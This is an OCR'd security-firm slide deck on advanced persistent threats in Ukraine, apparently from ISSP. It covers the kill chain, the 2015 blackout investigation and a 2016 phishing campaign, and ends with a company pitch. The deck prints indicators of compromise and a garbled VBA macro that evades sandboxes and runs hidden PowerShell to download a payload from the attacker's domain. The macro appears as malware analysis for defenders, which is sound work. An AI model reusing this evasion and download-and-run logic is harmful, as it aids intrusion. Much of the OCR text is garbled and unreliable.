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Protecting from cyber-threats...
Is that possible to fight alone?

Roman Sologub
General Manager
ISSP Ukraine
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$2.1TRILLION
In 2019

Data for sale
Attack as a service
Botnet services
Malware / Trojans
Accounts for sale



EUROPE MEWS

Bangladesh central bank says
U.S. account hacked; Fed
denies breach

REUTERS

THE WALL STREET JOURNAL

Health-Care C10s, Facing Ransomware Threal, Share Secority
Best Practices

o ATAT

Exclusive: SWIFT discloses more cyber thefts,
pressures banks on security

Assume
Compromise

ICM Mo

Hackers selling 117 million LinkedIn
passwords

THE WALL STREET JOURNAL.

OPM Ratchets Up Estimate of Hack’s Scope

Detect &
Respond Faster

Information Systems
Security Partners

theguardian

Ukrainian blackout caused by hackers
that attacked media company.
researchers say

Not just IT -
OT, 10T, Physical

ISSP Information Systems Security Partners

Security guidelines

Ilormation aed guidebnes tor

Everyone has t

ht to the protection of personal data.

Increased
Regulation

-



> Advanced Persistent Threat

a set of stealthy and continuous computer hacking
processes, often orchestrated by human targeting a specific entity.
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RECONNAISSANCE
Harvesting email addresses,

conference information, etc

WEAPONIZATION @
Coupling exploit with backdoor = @
into deliverable payload

DELIVERY
" Delivering weaponized bundle ta

the victim via email, web, USB, etc

EXPLOITATION o
Exploiting a vulnerability to

execute code onvictim’s system

INSTALLATION
Installing malware on the asset

COMMAND & CONTROL (C2) o
Command channe! for remote

manipulation of victim

ACTIONS ON OBJECTIVES
" With'Honds on Keyboard' access,
intruders accomplish their original geal

1. Preparation:
social networks, internet, deep web,
documents, metadata

2. Intrusion:
Mass mail, targeted mail, candy drop,
social engineering

3. Active Breach:

Keyloggers, cryptolockers, password
crackers, backdoors, etc...
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89 PC's

>

— PC-03 n PC-04

\ 4

g and analyzing evidence we reconstructed attack timeline and traced it back to April 2015

Data was destroyed by KILLDISK

24.10.2015 Day of the attack start
and beginning of the investigation

P4 Base64-email
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eHve 23.04.2015 10:22,
706bI 33rPY3HTE PHCYHKH, LIBMKHATE 3TY CCBINKY . ABRQMATHHECKSA 38MPY3Ka HEKOTOPbIX PHCYHKOB B Outlook Beina oTreHeHa B uensx K

E=3

10CTH AMYHBLIX ASHHBIX,

oT: info@rada gov.ua
Komy:

Mucemo Beino nepeappecoBaHo Koreram BHYTPW KOMNaHWM W He Bbi3biBano
PEHWA Y HOBbIX yuatenei,

OTtnpaeneHo: Yt 23.04 2015 943

y np Y)Ke OT KONneru, a He U3 BHe. pet
Konma:
Tema: | Cyposa noctaHosa sig 03/04/2014 I
= 3nospegHbIi kog
B ,I Aoaarox_3.pdf; lg;]::lmaﬂ:m_l.)dsl“""
-

Cyaosa nocraxosa sig 03/04/2014

3riaHo 3akony Ne 1682-VIl "Tpo ounwiesHa Bnagn” Big 16/01/2014 cnispobithukam komnaii
Hagaru siaomocTi 3 goxoaamu i3 ocib 3asHaueHux y lloaatky 1, 3pa3ok BigomocTi 3HaxoanTecAa y [flogarky 2

indopmauia npo amicT 3akowy - y logarky 3

EHEPATTBHA TTP(C

PROSECLTOR GENERAL'S OFFICT OF UKRAINT

Ii 4 —

Moa enaom oBbivHoro sanpoca PNG daiina kpoetca mexaHuam

YBEAOMNEHNA 3NOYMbILLNeHHUKOB 00 ycnelwHoi fAoCTaBke KOHTeHTa
HaMe4eHHoM Lenw.

To6bI 33rPY3UTE PUCYHKM, LWENKHUTE NPABOI KHONKOM MbIWK, ABTOMATUIECKAA 3arpy3ka pucyHKka us MHTepHeta B Outlook Gbina OTMEHEHS B UENAX 3ALUMTEI KOHPUAEHUHANBHOCTH AMYHBIX 0EHHBIX.
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Initial malware delivery attempt

23.04.2015

By continuously collecting and analyzing evidence we reconstructed attack fimeline and traced it back to April 2015

Data was destroyed by KILLDISK

24.10.2015 Day of the attack start
and beginning of the investigation

6 month from intrusion to blackout

ISs=
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Data was destroyed by KILLDISK

Initial malware delivery attempt By continuously collecting and analyzing evidence e reconstructed attack timeline and traced it back to April 2015
23.04.2015

24.10.2015 Day of the attack start
and beginning of the investigation
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Hackers Spend

200+ Days Inside
Before Discovery



> Ukraine 14/07/16

APT-scenario
Delivery stage
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#14 /07 /2016

1000+ emails were released to various organizations in Ukraine

| [T ——r

Kpr e memugry
Hn sl o wy
W e,

[Frrimnava o matty

:mw-!-h1nr-

BeBatemininnk l.'ldlrh'.

Bpromremf s e Ui
Hi cried o ovemmi A e dnoped
Vo wnay b e W ST

lpeadmyn s cmmidrume

BenbMWLWaHOBHWIA KOHTpareHTe!

Q®iHaHcosuiA Binain NpueaTbaHK 3BepTaETb

AonoMoroio Hawdicepsicy oHAaiH 6aHKIHT

Ha paHuil MOMEHT HaneXxHy CyMmy 3a kpegy
bopr 3 ypaxyBaHHAM WTpadHWUX caHKUii (0
113 000,59 rpH.

Y 3B'A3KY 3 UMM, Ha niacTasi KpeaWTHOT yrc
CKNnaaaHHs Cy[oBOro no3osy Ha Bawe im's,

MponoHyEMO 03HAROMWUTUCE 3 BIANOBIAHUM

3 noearoi,
HOpUCKOHCY LT
€rop JMelicuumH

1 e prmmens,
Epminonor Bt
Vs [y

Information Systems
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Cv.:t:l: K#paﬁaua BM.
14.07.2016

[TOBICTKA ITPO BUKJIHK

Kuiscexuit paftosnmit cya m. Xapxis 2aH0H NOBICTKOK MOBIIOMIAE BaC NPo HEOOXIAHICTE

3 SBHTHCE B SKOCTI 0COOH, SKa MPHTATAETHECE J0 aMIHICTpAaTHEHOT BianoeidansuocTti 3a 1. 185
Koaexey Vipainu npo aIMiHiCTpaTHEHI MPABOMOPVINEHHS V CVA 4718 VYacTi B CYIOEOMY
saciganni no cipasi Ne045171-15, axe siadyaernca 28.07.2016 p. o 10:30 & 3a1 cyaorux
sacizans Ne7 3a agpecorw cvay. AKTVAIBHY agpecy CVAY BH MOKeTe 3HAATH Ha BeO-CTOpiHLI:
http:/court.gov.ua/sudv

Bu noenuui 320eIMeMHTH CBOO ABKY J0 CVIV 114 VYACTI V 3aCiJaHHI CVIV V NPOLECYATEHOMY
cTaTyci Bianosizaga.




MS Word has embedded macro

10C’s:
B e HTTP 62.210.102.80
e e elfaroconsultants.com
, | | elfaroconsultants.com/
= — = | elfaroconsultants.com//r_upload

= ] elfaroconsultants.com//wp-admin/post.php
elfaroconsultants.com/bug/pic.gif?siteid

= | o — elfaroconsultants.com/din.aspx?s=0000000

A elfaroconsultants.com/p?c1=2&c2=13765216

' ' elfaroconsultants.com/pagestat/PageStatE

elfaroconsultants.com/safari/content.bin

elfaroconsultants.com/t51.2885-15/e35/p2

elfaroconsultants.com/tracker?js=13;id=1

elfaroconsultants.com/wpad.dat

wtfismyip.com:443

shougunj.com:80

69.30.217.90:443

52.23.245.170:80
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Sandbox
Evasion



Dim Cjep As String

Dimn jhpaK as integer |
S Bk As- Secless - T

Setarfl=VHuo
Eng Punction

Public Punction rrF{Byval Viuc As Object) A3 Object

End Fy

Pubic Funcrion KMOS(Byval qﬁrﬂumvg)uoh,ecz
Setamat = rrscresmectjeciansol)

Integer
KEZHX = pOEE Mod G\vial
End Function

Bubiic Function KZHX|Byval pDgE As Integer, ByVal GVVal As integer) As.

l

jhpsk = KZHX([SBAWG,

50 Whie LenxkTIH] < Len(paap)
T | et xknn & midipaap, pex 1, 1]

Public Punction zFakx(Byval fRMcd As String, Byval Wieip As String) As integer
ZFnix = InSwr{LCase{fRMCH), Lase[Wieip]])

End Punction

mu(gmmmqv:-mmusm.gp
Dscription;skael

£07, Raise Number =i,
end sub

Public Sub cOSj{ByValINME as Sring)
sexbramnj =
KEih bAmAL. Run{INm, ©)
End sub

script, shel)

ihpsk = KZHX([[jhpsi + gGIT), Len(paQp))

Loop
End Punction

Public Function xkTMN(ByVal paclp A3 String, Byval SBIWG 45 Integer, Byval ST As Integer] A5 String
Lenlpgarpl}

|

End Function

Public Punction &(Byval pqQp As String, Byval SBIWQ As integer, By\val §GIT As Integer) As

= Moduie2 ap), SBwa, gGiT)

Public Function KE{Syval OXSF As

HTTP Requset, with
detecting public IP of
the target.

Malicious URL

Public Function AvckF() As String
BuwckF =

[Hew-
Object
—_—— tp:
tants. bin', &f);{New-Object -com
PowerShell Start wscript. Shell. ExeciST)"
£ Funcrion

Public Function ELLSx(] As String
SETVEFL = KMOT[“WinHITp. WinHITpREeguest. 5. 1
WElh VeFU.Open["GET *, "hips:/fwtfismyip. com/json”}, Faise}

KEh VeFL. Sethequestrieader|"User-Agent”, "Mozilla/5.0 [compatible; MSIE 10.0; Windows NT 6.1, WOWSA; Trident/s.0}")

KER VeFL.Send

If VeF L. Status <» 200 Then

En.Raise Number:=4, Descrigtion:="Can't connect to API™
enaif

ELLSX = VEFL) ResponseTest

End Function

End Function

Pubfic FuncBion iyXA(} As String
iy "powershell. ene -Executionfolicy Bypass ‘Windowstyle Hidden —ommand *

SandBox
Detaction

S

Public Sub nqEF])

©n Emor GaTo qTiL

1f Application. UserName = "PSPLIBWS * Then naodule1.exzix s["Bad use
If Application. RecentFies. Count < 3 Then Modulel eXZfx s{"Bad history”
Cjep = ELLSx

For Each LYyR in Sspyg

1f Modulel. zFnkx(Cjep, LYyR) <» © Then Modulel. eXZfx s{"Bad ISP, 26, 40]

[
cosj dcjge
Exit Sub

End Sub

PSPUBWS - defolt user in Hybird Senbox
Hows many files was openad by user in the past. If less then three, chvicusly itis a SandBox

Fubfic Function Sspygl) As Varant

orcepoint”,“Fortinet”,“Hetiner" “Hosted"," Hosting”, "
Microsoft”,"NForce","ovH
SAS","Proofpoint”,"Security”,"Server”,"Strong Technologies”,"Trend
Micro®,"Trustwave",“blackoakcomputers” " mimecast”)

End Puncron

Public Function dCige(} As String
dcjge = iyxa & Awekr
End Punction

What is the ISP, if itis one of the list, this is SandBox
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Weaponize & Control Objectives

Predictions
1000 email
addresses with Payload o
personal data download 1. Exploitation stage - October
OSINT 14/07/16 2. Final stage performance — Spring 17
+

Composite macro
-code obfuscation
-sandbox evasion
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The User — is the Weakest Link...

PrHaHCcoBLIE NopTan

MH Hd)HH BantoTa BaHKK CTpaxoBaHue MHaeKchl @ BoHYC K Aeno3vuTam OHMaAH NnaTexm
magistrZ
& Bnor HKommentapuw Bamotweiwi dopym  OT3bIBel  Topauas nusus
14 wsons 2016, 14:18  Oeamantlank £ Yawan o op BOSaHUM OaHHOrD DanKs vz meceMa,.. Adepucrsn,  ecTs oTeeT Jasra

MOMYHH NMCBMO:
BWCOKOWSHOBHWI KoHTpareHTe!
FopuguuHWi siggin diamaHTGaHE cnoeilye Bac npo Te, Wo HA Baw igeHTHDIKSUIRHKMA kKog 10.09.2015 poky, 33 JONCMOroH
HELWOT CepBity oHNaMH GaHkiHMy, SYyNo B2ATO TEPMIHOEMA KPEAMT Ha cymy B2 343 00 rpuesHs.
Ha AaHWi MOMEHT HANEXHY CYMY 38 KPEAMTOM HE onnaYeno. CTEHOM HA ASHWA MoOMEHT poky Baw Gopr 5 ypaxysaHHAM
wrpady (0,7% 33 kowHy gody NpocTpOYSHHA ONNATH) CTEHOBKTE 74 000,59 rpH.
0 Mognucareca Ha Gnor Y 3E'AZKY 3 UMM, HE NiJCTABI EDEIMTHOI YTOGN, KEPIBHWLTEOM AENSPTEMEHTY GYN0 NPHAHATE PILLIEHHA NPO CENEASHHA NOI0EY
Ao cyay Ha Bawe im'A.
MpONCHYEMO DEHAWOMMTHEE 3 HEMEWHUMM JOKYMEHTSMHK.
| Hanucate nuunoe coobwerne FANMIWSEMSCE 3 NOLWAHOH,
BukoHyoumit 008 A3k HaWaneHwsa Einginy

SapErMCTPMpoEaH:
14 mons 2016 Bnaaucnas Magewae

magistrZ

n wiih paz Bein wa caiira: Bonpoc, kTo BBIAAN KDEAMT, HA YbE KMS, HE KaKOW MOSHTUDMKSLMOHHEIA KOG, W K3K MOMUW BbILETE TAKYID CYMMY NpU MoeH

14 weons 2016 & 15:05 MHHAMENEHOW 3ApNNETS. 3TO Aake SCNK Okl A HE SN W KOMMYHENKY HE ANETHN KW BCID SAPNNaTY OTOSBEN N0 KPEANTY TO 3TY
CYMMY R cMor Ob 0TGAaTs 4 roga.

NpocMoTpos npodmna: He y?amaeublﬁ Bnaamcnas Msgeras — MAWTE B NONWLMED ¢ dooTorpadikel Toro, kTo ¥ Bac Gpan kpeagur. M npocsfa Mue

Cerogma: 2 TEROA CNEM HE CNaTk. ———

Beero: 36 /

Information Systems ISSP Information Systems Security Partners
Security Partners



The User — is the Weakes

L5 Garnamamas

R -
=R ey i
M 'S W e BX 17 NONE0BATENEN
- STWCTDAUMA

“{ Mouck no 6ase 3Hanmit

o W nonywaiiTe oTeeT

| Haim

CoBeTuMua » BuzHec, OMHaHCL! » BaHK

pyn_Kptorn

3TO pasBoA MU MHEe Npucnanu Bupyc???

MpHWno Ha noJTy:

QT Koro:

BorfanH Jaiuyk
BUCOKOWZHOBHWA Naxe/ nawil

FOpuguunwi singin BTE BaHk cnoeilye Bac npo Te, Wo Ha Baw nacnopt
18.09.2015 poky, 33 AONOMOI0I HaWOI CEpBICy OHNarH BaHKiHry, Byno B3ATO
TepPMIHOBHI KDSAT Ha CyMy 37 605,00 rpuests.

Ha faTy HAOCANaHHR UbOTO NUCTa HaNeXHY CyMy 33 KDSAMTOM HE NOTaILESHD.
CT2HOM Ha AaHW#A MOMEHT poxy Bal Bopr 3 ypaxysaHHaM wrpady (0,7% 3a
KOmHy A00Y NPOCTPOUEHHS ONNATH) CTaso8MTs 37 000,59 rpH.

¥ 3E'A3KY 3 UMM, Ha MiGCTaei 4Orosopy, KepisAmuTeom Banky Gyno npuifHaTo
PiLUEHHA NP0 CKIT3AaKHA NOZ0BY [0 Cyay Ha Balue iMA.

MpONOHYEMO OZHIHOMUTICE 3 BiANOBIAHMMA JOKYMEHTIMM.
3aMMIBEMOCE 3 NOWEHOH,
HOpUCKoHCYNsT

BorgaH 3afuyk

W npuxpannex dain sxobel 8 dopmate AOK.

601w gy

Mol Cal € 3TM GEHKOM HUKAKVX fiEN He MMena. bl Nbl Cbl - Ha YKA3aHHYI0 JaTy

PH
M2HR He Gain0 B CTpaHe, NacnopT He Tepana.

14 wons 2016 & 13:58

OrsevaTs & TeuEX Ha COBETHILE MOXHO TONEKO J3PETMCTPHPOSSHHLIM NONSSOSSTENAM,
3aperncrpwpyitrece, a eCin Bl y¥e J3PErMCTINPOBANY — SETODMINDYITECH

ink...

rpamgannnl pybnan 9 14 waons 2016 & 14:07  Oreet ans Nenex Bosmesgua

Liutara:
Obpauerue 6es PHO Ve passod! Onmyoa s1. adpec y barra saw? Cuumeao
peassodom!

CornacHa GaHk BCETOA ykazslzasT ©MO!

TMywmcreii 10 14 wans 2016 B 14:08

MensMeHb
BWDYC. HALUM 3HTHLIHWKA HAC NPEAYNPEgUNK, YT 3TO BHpYC!
100%

pyxu_Kprorm (zeTop) 11 14 mons 2016 & 14:10  OmeeT ang Mywwcrsii MensMeds

Liutara:

SLPVC. HAULN SIMULHUNY HaC RpedynpeduTy, wno 3mo supve! 100%

CMACWBO, yaanuna nucsMo I\

HO BAOXEHHWE YHe OTHpbLAAE...

Bonpoc 3akpbiT




Fr'. 7. e

Attackers kKnow more
about us than ever..



The lines between Insiders
and Outsiders are blurred.

Everyoneis an Insider...



Isosl‘_ated security
imply don 't work !



ISSP - Information Systems Security Partners -

is a Group of Companies, specialized in cybersecurity, managed
security services, state of the art professional training, and
cutting edge research in the area of information systems security.

Information Systems
Security Partners



Vendors and Partners:

USA, Israel, EU

Offices:
Kyiv, Thilisi, Baku, Moscow,
Bratislava, Almaty

SS~

Information Systems
Security Partners

SOC Technical Sites:

Kyiv (+Lab), Vilnius, Thilisi, Almaty (2017).

Training Facilities:
Kyiv, Thilisi

ISSP

business profile

ISSP -  cybersecurity integrator,
professional and managed cybersecurity
services provider.

ISSP SOC - provides around the clock
managed cybersecurity services.

ISSP Labs - specializes on analysis of
cyber threats, challenging tasks of
computer forensics.

ISSP Training Center - conducts
professional trainings, including but not
limited to certified product-based
trainings and professional certification
programs.

ISSP Information Systems Security Partners D



ISSP LABS ISSP SOC
ISSP Services ISSPTC

Inspection Monitoring .
Counter-Fraud Trainings

Audit Detection _ :
SCADA Security Compliance Audit

ON I\ Response i
p Pentasts Compliance as a

TI+ Remediation Service

Assume Detect & Not just IT - Increased
Compromise Respond Faster OT, 10T, Physical Regulation

Information Systems ISSP Information Systems Security Partners
Security Partners




3 Steps to start

N

Audit

Prospective

analysis

_— N
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Security
Operations
Center

Processes

Technologies

Information Systemps ~ ISSPIn formation Systems Security Partners
Security Partners



E-L-T > Process > Store > Update

Mapping
Correlating Vendors

Zloud Forums

Qualifying Data

ta
Cleaning raction

“ocial Media

Apps
i Blogs

Conversion A
Commercial

. NICEINS
Clustering

Indexing

Information Systems ISSP Information Systems Security Pa
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Agenda 2017

Invest in ISSP's Cybersecurity Services

Developing SOC-services, R&D, Professional Expertize.

Invest in Collective Defense

Cultivating relations with Labs, Research Institutions, Communities.

Invest in Cybersecurity Knowledge /

Cyber Academy, Training Center, Universities coIIaboration___programs.-a_

Information Systems
Security Partners




ISSr

Information Systems Security Partners

WWW.ISSpgroup.com
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